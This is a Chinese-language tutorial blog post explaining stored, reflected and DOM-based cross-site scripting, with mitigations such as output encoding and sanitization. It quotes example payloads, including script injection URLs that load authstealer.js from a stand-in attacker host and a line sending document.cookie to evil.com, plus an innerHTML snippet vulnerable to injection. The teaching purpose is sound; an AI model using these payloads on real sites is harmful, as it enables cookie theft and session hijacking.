XSS跨站脚本攻击

近期遇到一堆 Stored XSS vulnerability 问题,即存储型跨站脚本漏洞,所以有必要学习一下XSS相关的知识。

XSS简介

XSS是跨站脚本Cross-Site Scripting的简写,至于为什么不是CSS,相信大家很容易猜到,是为了避免与前端的层叠样式表Cascading Style Sheets重名。

XSS涉及三个要素:一个站点,攻击者和受害者。攻击者通过某站点的漏洞注入脚本到该站点,受害者在使用浏览器访问该站点时就可能遭受XSS攻击。

脚本类型不限于javascript, 也可以是其它脚本,如VBScript, ActiveXflash等,但主要还是以javascript为主。

XSS类型

XSS的分类貌似没有固定标准,但约定俗成的被分为持久化的存储型XSS和非持久化的反射型XSS。

存储型XSS

Stored XSS, 持久化的,也就是说只要用户在浏览器打开了这个站点就会执行攻击者注入的脚本。此类XSS要求攻击者将脚本存储至站点服务器。

举个例子,很多论坛都有评论功能,攻击者可以通过评论把脚本信息存入站点服务器,如果站点未加过滤和编码,直接将脚本信息当做普通评论存入数据库,其他人访问该站点时就会执行该脚本。

反射型XSS

Reflected XSS, 非持久化的,需要用户打开站点后执行某些操作方能触发,比如点击某个链接,然后触发执行攻击者注入的脚本,脚本可以是一个代码段,也可以是指向攻击者提供的脚本链接。利用站点易受攻击的漏洞,就可以让用户执行任意脚本。

此类XSS攻击者通常使用邮件或是中间站点发送带有脚本的链接给用户,而链接往往看起来很正常,带有正规站点的域名,脚本部分可能使用16进制编码,不容易看出端倪。

下面引用的维基百科的例子:

# 攻击者提供的链接,在访问bobssite.org的搜索功能时执行脚本
http://bobssite.org/search?q=<script%20type='application/javascript'>alert('xss');</script>

# 下面的链接触发后会执行攻击者服务器中的脚本authstealer.js
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js"></script>

# 下面是经过预先编码后的链接
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E

DOM-Based XSS

基于DOM(Document Object Model)的XSS与以上两种不同的是,它完全发生在客户端,与服务器端无关,但同时又可以算是反射型XSS的子集,因为它也需要一定的交互才能触发。

DOM-Based XSS原理:站点获取用户输入数据,然后通过站点自带的js代码修改DOM结构,如果输入的数据携带有恶意代码,就可能导致XSS攻击。

举个例子,以下代码用来显示访问链接(如:http://www.example.com?name=test)中携带的用户名

var namePos=document.URL.indexOf("name=")
if (namePos != -1)
{
    var name = document.createElement('span');
    name.innerHTML = document.URL.substring(namePos, document.URL.length)
}

如果用户名包含了恶意代码,如</span><script>alert('xss')</script><span>,这就会在原先想要生成的span标签后加入攻击者的脚本并执行。

XSS攻击的危害与防范

通过XSS攻击,攻击者可以获取用户的敏感信息,例如在用户完全不知情的情况下拿到用户登录后的Cookie信息,之后通过会话劫持冒充真实用户访问网站,和盗号一样,攻击者可以修改账户密码,获取账户内的私人信息甚至财产。更近一步,如果攻击者用此方法获取到了站点管理员的账户,那么将可能拿到站点的控制权。

具体例子可以参考Cross-site Scripting (XSS) Attack

window.location="http://evil.com/?cookie=" + document.cookie

那么XSS该如何防范呢?

  1. 常用办法是进行特殊字符替换,对于所有的用户输入,需要进行过滤检查,对于上下文输出,将<>/\#$&?'"等字符编码转义为对应的html码,这也是我们当前使用最多的方案;

  2. 对于不信任的用户输入,可以使用专门的机制(如:HTML sanitization)去辨别输入的有效性。

  3. 而对于Cookie,为了防止攻击者使用窃取的Cookie进行访问,可以通过绑定用户IPCookie,仅允许指定IP的用户使用特定Cookie才有效。

小结

本文简述了XSS的概念,介绍了存储型、反射型和DOM-Based三种XSS攻击手段,并予以举例说明,最后简单介绍了XSS危害及其常用防范手段。

参考